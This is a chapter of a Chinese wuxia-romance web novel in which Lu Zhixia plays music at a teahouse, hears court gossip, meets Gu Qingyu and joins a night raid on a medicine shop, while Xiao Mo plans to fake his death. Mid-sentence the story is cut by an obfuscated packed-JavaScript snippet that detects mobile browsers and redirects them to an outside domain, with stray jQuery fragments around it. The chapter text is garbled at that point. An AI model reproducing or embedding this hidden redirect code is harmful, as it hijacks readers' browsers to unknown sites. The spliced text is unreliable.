44. 青鱼
作品:《夏有凉风》 两日后,陆知夏如约在午时前赶到余兴茶楼。
此时茶楼刚开门,生意清淡,孙掌柜先带她到楼里熟悉环境,一边同她说楼里的规矩。
陆知夏从孙掌柜的话中了解到,余兴茶楼是离忧城的老字号,平日来的大多是老顾客,包间里的是贵客,万万不能得罪。路上遇到客人她要恭敬行礼,平日说话要谨慎……
一堆细碎规矩听下来,陆知夏觉得在茶馆当琴师也不轻松。
他们在楼里走了一圈回到大堂。陆知夏到茶水间稍事休息准备。从前为了谋生,她干过跑堂、帮厨、街贩子,琴师这类安静坐着的活儿她还是头一回干,心里不免有些紧张。
这两日,在萧陌的指导下她苦练了几首新曲子。考核之时,萧陌夸她弹得不错,令她信心倍增。
想起独自在家的萧陌她开始担心。他的伤未痊愈,虽已能够勉强下地,但不能干重活。出门时,他说他一个人能照顾好自己,让她安心去弹琴,可他那个弱不禁风的样子还是令她放心不下。
大堂略微喧闹,此时来了不少客人。陆知夏从茶水间旁的梯子登台抚琴。台上三面有遮挡,陆知夏在琴案前落座,透过前面轻纱帘幕看到外边一片模糊光影,她想外边的人定也看不清她的模样。而且客人都是结对而来,入座后吃茶聊天,极少往台子这边瞟,她渐渐放松下来,抬手抚琴,随着曲调韵律渐入佳境。
茶楼从午时营业至戌时,陆知夏每弹半个时辰可到茶水间歇息。这里专门给她备了茶水点心,十分贴心。弹奏一日下来,陆知夏除了肩膀酸痛,其他的都很适应。
天黑生意清淡,茶楼也准备打烊。陆知夏将琴擦拭收好,到柜台领工钱。孙掌柜知道她是外乡人刚入城,承诺给她的工钱日结。
柜台旁,几个伙计围在孙掌柜周围听他说萧城主的往事,陆知夏也好奇凑上去。
“咱们萧城主年轻时不但文韬武略样样精通,长得也是英俊潇洒,一表人才。爱慕他的女子排到城郊都排不到头。”孙掌柜夸耀一番,故意停下来卖关子:“但他最爱的女人只有一个。”
伙计们都猜是如今的城主夫人,因为每次重要庆典,他们夫妻二人都手挽手出现在百姓面前。
“那是在演戏。”孙掌柜压低声音道:“城主这位正妻是奉先城主之命娶的,据说是个心狠手辣的妒妇。这些年城主的小妾及庶子相继过世,据说也是被她……”孙掌柜用手比划了一个抹脖子的动作,吓得周围人起鸡皮疙瘩。
一个伙计大胆推测:“那萧二公子这次遇刺……”
孙掌柜上去捂住伙计的嘴,“这事现在可不能乱说,小心惹祸。”
“那萧城主最爱的女人究竟是谁?”一个伙计拉回正题。
孙掌柜捋了捋胡须,面露几分得意之色,“萧二公子的生母,云姬。”
“云姬是谁?”
“不知道,没听过。”
陆知夏和伙计大多来自外乡,对陈年旧事知之甚少,但对萧城主的风流韵事格外好奇,都起哄让孙掌柜说说这个云姬。
孙掌柜道:“云姬的姓氏及来历是个谜。见过她的人很少,据说是位琴技高超的倾城美人。”
这点大家深信不疑,因为萧陌很好地继承了父母的优点。
“只是红颜薄命。”孙掌柜叹息,继续说道:“据说云姬与城主在诗会上邂逅,没过多久就珠胎暗结,但她入府为妾才三年就疯了。萧二公子十岁生辰那日她误走出府,府兵四处寻找,最后在护城河边捡到她的绣鞋。城主不甘心,命府兵沿河寻找,但一无所获,后来这事便不了了之。”
之前被捂嘴的伙计又开口:“城主府守卫森严,一个疯女人怎会误走出府,定是城主夫人干的。”
这回孙掌柜没骂他,还与其他人点头。
孙掌柜道:“据说云姬母子当年在府中受尽正室欺凌,城主想保他们却心有余而力不足。生存在那种勾心斗角的环境里人不疯才怪。萧二公子自幼丧母,无依无靠能活到现在已是不易。”
闻言,伙计们唏嘘不已。
陆知夏也不禁惋惜,好好一个倾城大美人云姬就这么被摧残了。她蓦然想起自己的母亲,感叹嫁错人的女人结局都很凄凉。
还有萧陌,难怪他宁愿躲着也不想回家。在那种地方待着他一定度日如年吧。
*
领了工钱走出茶楼外边已是星夜,陆知夏摩挲着钱袋里的五百文钱,心里小有成就感。
这是她在离忧城赚的第一笔钱,虽然不多,但这份活儿轻松自在,也能顺道探听很多消息,目前她很满意。等避过风头她再想法子多赚点钱,然后游遍天下。
正憧憬未来,街边两个摊贩的抱怨声引起陆知夏注意。
“城主病倒,二公子至今生死未卜,我看离忧城快易主了。”
“等大公子做了城主,以他的行事风格,咱们百姓的好日子要到头咯。”
城中局势不乐观,陆知夏不由发愁,若是萧城主过世,萧大公子上位,萧陌怎么办?
“站住——”
身后传来一阵嘈杂声。
陆知夏转身,一名全身裹在黑色斗篷里的人从她身边跑过。那人随风扬起的帽檐露出半边酷似倾月的脸。陆知夏还没来得及出声叫她,几个官兵跟着追上来。一行人转眼间从她身边跑过。
倾月算是陆知夏来离忧结识的友人,如今友人有难,陆知夏不能坐视不理,也抬脚追上去。
官兵追着倾月进入一条小巷,陆知夏握着在路上随手捡的棍子也跟进去。
巷子幽暗无人,前边拐角处传来一阵动静,陆知夏握紧手里的棍子走到尽头,拐角后的空地上躺了一地官兵,倾月正同一名男子在嬉笑说话,似已脱险。
那名男子虽背对陆知夏看不到面容,但他一身月白道袍,玉冠束发,只静静立在原地身姿已有几分出尘之感。
倾月不停同男子说话,他们看起来相熟,陆知夏觉得自己没必要现身打扰。她正准备离开,白袍男子转过身来,斜背在他身侧的布袋上活灵活现的青鱼图案吸引她注意。
陆知夏僵在原地,那个图案与她珍藏的那些药瓶底部的徽记一模一样,只不过放大了好几倍,眼神再不好的人隔老远都能看清楚。
陆知夏震惊,难道此人也与给她赠药的神秘人有关?
“谁在那里?”
话音未落,陆知夏已被一枚石子点了穴,动弹不得。
倾月和白袍男子朝拐角处走来。借着月光,倾月认出陆知夏,急声道:“哎呀,这是我朋友,你赶快给人家解穴。”
白袍男子给这个陌生的小胡子解穴,见倾月拉着人家的手欣喜道:“小夏,你怎么在这儿?”
陆知夏道:“我方才在街上看到你被官兵追,不放心就跟过来看看。”
倾月大力拍了一把陆知夏肩头,“我就知道你是个讲义气的人,从今往后我们就是好朋友了。”
白袍男子见倾月对这个小胡子如此热情,本就严肃的神情绷得更紧。倾月斜睨他一眼,阴阳怪气道:“刚交的朋友真有义气,不像某个一起吃饭长大的人,分明看到我有危险还故意绕道走。”
白袍男子扫了一眼倾月,“你穿成这样谁认得出你。”
倾月忙将斗篷解下,理了理鬓发和珠花,捋着胸前一绺发丝朝白袍男子眨眼,“怎么样,我这样打扮是不是比以前更好看?”
“一般。”
白袍男子的话瞬间惹倾月不开心,“大笨鱼,你怎么还是这么不解风情。”
白袍男子板着张脸,抬步要走。倾月一把拽住他衣袖,撒娇道:“师兄,你不要生气嘛。”
看二人闹了半天,陆知夏这才知道眼前这个仙风道骨的青年就是倾月曾提到的师兄。
倾月见陆知夏一脸茫然看着他们拉扯,笑着解释道:“这位是我师兄谷青鱼,古板得很,你别见怪。”
陆知夏憋笑,这名字和他布袋上的图案也太贴切了吧。还故意绣这么大,生怕别人不认识他吗?
白袍男子冷眼盯着陆知夏,面容越发冷峻。陆知夏收笑,拱手作礼,“谷兄,幸会。”
“哎呀,不必多礼。”倾月笑道:“大家都是江湖中人,见面不必讲究这么多礼节。”
身后传来响动,白袍男子道:“药效快过了,这里不安全,我们先离开。”
陆知夏这才发现地上散落着许多白色粉末,那些官兵定是被他们药倒的,难怪周围没有一丝血腥味。
*
三人从小巷里出来,转进一条人来人往的路上。
有行人掩护,他们渐渐放慢脚步。倾月一直拉着谷青鱼的袖子,生怕他又扔下她跑了。谷青鱼任她拉着,神色缓和许多。
三人静静走了许久,倾月率先打破沉默,问道:“师兄,出谷六年你究竟去了哪里?师父过世多年你也不回来,你知道我有多担心你吗?我还以为你……”说着,她不禁红了眼。
谷青鱼叹息,眼底似有化不开的浓雾,“这些年我四处游历,制药售药。师父过世的事我听说了,只是我一直抽不开身。”
闻言,陆知夏目光微动,刚想问他“青鱼”的事却被倾月的抽泣声打断。
“可我这些年也去过很多地方,也跟很多同道打听过你,为何从来没有你的消息?”倾月质问道。
“只能说明我们没有缘分。”
谷青鱼转身要走,倾月拉住他的手,目光热切地看着他,“以前没有,如今咱们重逢就有了。师兄以后不要再离开我好不好?”
谷青鱼抽回手,神情略显不耐,“多年不见,依旧这么没大没小。”
倾月抱住谷青鱼右臂,任性撒娇,“我不管,我不管!你是师兄,是我唯一的亲人,去哪都要带着我!”
“胡闹。”谷青鱼一手摁着倾月脑门,使劲把手拔出来。
“你为何如此狠心?”倾月不甘,张开双臂将谷青鱼抱个满怀,“人家已经这么求你了,你就带着我嘛。我现在食量比以前小,很好养活的。”
谷青鱼双颊浮现一抹可疑红晕,“这不是好不好养的问题,我还有要事要办,再不松手别怪我对你动粗。”
倾月仍旧不肯松手,谷青鱼提起内力将倾月震开。倾月倒在地上,难以置信地看着谷青鱼。
陆知夏替倾月感到不平,“喂,你怎么能对姑娘家动粗?何况倾月是你的师妹。你太没风度了吧!”
谷青鱼本就不喜欢这个小胡子,被他一骂更是不悦,“我是没什么风度,那就请你有风度地把她给我带走,有多远走多远。”
言罢,谷青鱼拂袖而去。
“坏鱼!笨鱼!木头鱼!”倾月对着谷青鱼的背影大骂,脸上尽是泪水。但谷青鱼却头也不回地消失在路的尽头。
陆知夏扶起倾月,暗自叹息。今
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105476|179450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晚时机不对,下回若再碰到这条“青鱼”她定要把心里的疑惑弄个明白。
倾月擦干眼泪说道:“小夏,你可不可以帮我一个忙?”
“什么忙?”陆知夏隐有不安。倾月在离忧城混得比她好,如今有求于她定非易事。
倾月把萧陌遇刺后云梦居被官兵看守,她冒险翻墙出来为病人买药的事告诉陆知夏。
估摸着时辰,陆知夏道:“药铺早关门了,要不明日再买?”
“病人发着高烧,明日人就凉了。”倾月很着急,忽然心上一计,凑到陆知夏耳边嘀咕几句。
陆知夏面露难色,摆手道:“不行,不能这么做。”
倾月双手合十哀求,“人命关天,你就帮帮忙吧。”
*
城南一家大门紧闭的药铺里隐隐传来动静。
门后大堂上亮着烛光。药柜前,两个蒙面人不停翻找药材,从背影上看像一对雌雄大盗。角落里一个被五花大绑的老汉不安地扭动着身子,他嘴里被塞了团抹布,虽然发不出声,但眼神惊恐,生怕这对大盗拿完东西杀人灭口。
“我们这么做不会被通缉吧?”陆知夏边包药边擦汗,她竟然鬼迷心窍答应倾月干这种事。堂堂云苍派二小姐入室抢劫,若传出去,父亲非一掌劈死她不可。
倾月忙着抓药,淡淡道:“怕什么,咱又不是不给钱,谁让这个老顽固不肯配合,暂时绑他是不想给咱们招来麻烦,走的时候给他解开便是。”
陆知夏松了口气,还好倾月说的不是完事杀人灭口。
装好药,二人准备离开。
倾月从腰间取下一袋银子随手扔了就走。陆知夏匆忙跟她出门。二人把角落里的人忘得一干二净。
他们商量好计策来到云梦居附近。陆知夏帮倾月成功引开附近守卫。倾月走到墙边喊暗号,墙里抛来绳子,她攀着绳子也顺利回到云梦居。
*
陆知夏甩开追兵回到小院已夜深。她靠着门板拍拍胸脯,今晚实在太惊险了。方才路上若不是碰到几个醉汉打架,她差点就被官兵逮住了。
东屋里仍亮着灯,昏黄的光晕给晚归的人带来一丝慰藉。
想起萧陌凄惨的身世,陆知夏不自觉朝东屋走去。今日他一个人在家不知过得好不好?
刚来到门前,屋里的灯就熄了。陆知夏在原地站了片刻,转身向厨房走去。
厨房里,锅碗瓢盆摆放得整整齐齐,灶上还烧着一锅热水。陆知夏心头微暖,打了一桶热水回屋沐浴。
夜里熄灯后,陆知夏疲惫地倒在床上,脑子里忍不住又开始想萧陌的事。他身世可怜又被大哥追杀,这时赶他走是不是太冷血了?
翻来覆去许久,陆知夏决定还是等他的伤全好了再赶他走。到时候她一定不会心软。
*
子夜,东屋的门被人轻轻推开。
门没锁,屋里也没点灯,望进去一片漆黑。
照进门里的清冷月光拉长来人身影,在桌边等候多时的萧陌侧头望向来人,只见半截银制面具在月光中泛着寒光。
“沈公子,别来无恙。”
“二公子知道我今晚过来?”沈公子进屋,在萧陌对面坐下。
萧陌微微一笑,“算算时机,公子也该来了。”
沈公子双眼微眯,极不喜欢被他看穿的感觉。
沈公子扫了一眼这间屋子,说道:“二公子屈居在此,是不是沈某为你安排的住处不合心意?”
“公子多心了。”萧陌道:“这座小院隐蔽清静,主人也热情友善,我觉得没必要换地方养伤,省得给贵帮添麻烦。”
二人之间陷入一阵良久沉默。
沈公子冷声提醒道:“我们所行之事凶险,二公子行事需谨慎,最好不要与无关之人有牵扯。”
“公子今夜来找我只是商量住宿之事?”萧陌谦和的语气里透着一丝不耐。
“二公子的私事我无意插手。”沈公子道:“但我要提醒你一句,萧逸这回收买的可是暗庄杀手。暗庄势力庞大,一时半会儿难以除尽。那些杀手武功高强,心狠手辣,你的人恐怕不是他们的对手。”
“那便有劳公子派人多加保护。”萧陌看着沈公子,笑容依旧谦和,“日后我定会在闫盟主面前替你美言几句。”
沈公子知道萧陌铁了心要赖在这里,袖子下的手渐渐握成拳头。但他还有其他要事,平复情绪后问道:“你的下一步计划是什么?”
萧陌道:“萧逸被缴兵符定然不服,我要再给他们父子之间添一把火。”
“怎么做?”
“诈死。”
沈公子看萧陌的眼神多了一丝惊诧,“这步棋很险,你真的决定这么做?”
萧陌顺势诈死等于把明面上的优势全让给对手。若他最后不能逆局便真的只有死路一条。
“置之死地而后生。”萧陌冷笑,“我了解萧逸,我若不死他不会放松警惕。趁父亲还有一口气,我必须破釜沉舟,伺机翻盘。”
言罢,萧陌将一封信交给沈公子,“这是给闫盟主的信,请公子代为转交。”
沈公子将信收好。二人的谈话也到此结束。
沈公子从萧陌房里出来,院里月色空灵寂寥,他心绪陡然惆怅,立于院中望着西边漆黑的屋子出神。
未来局势只会越来越复杂,他有些后悔当初纵容她来离忧城。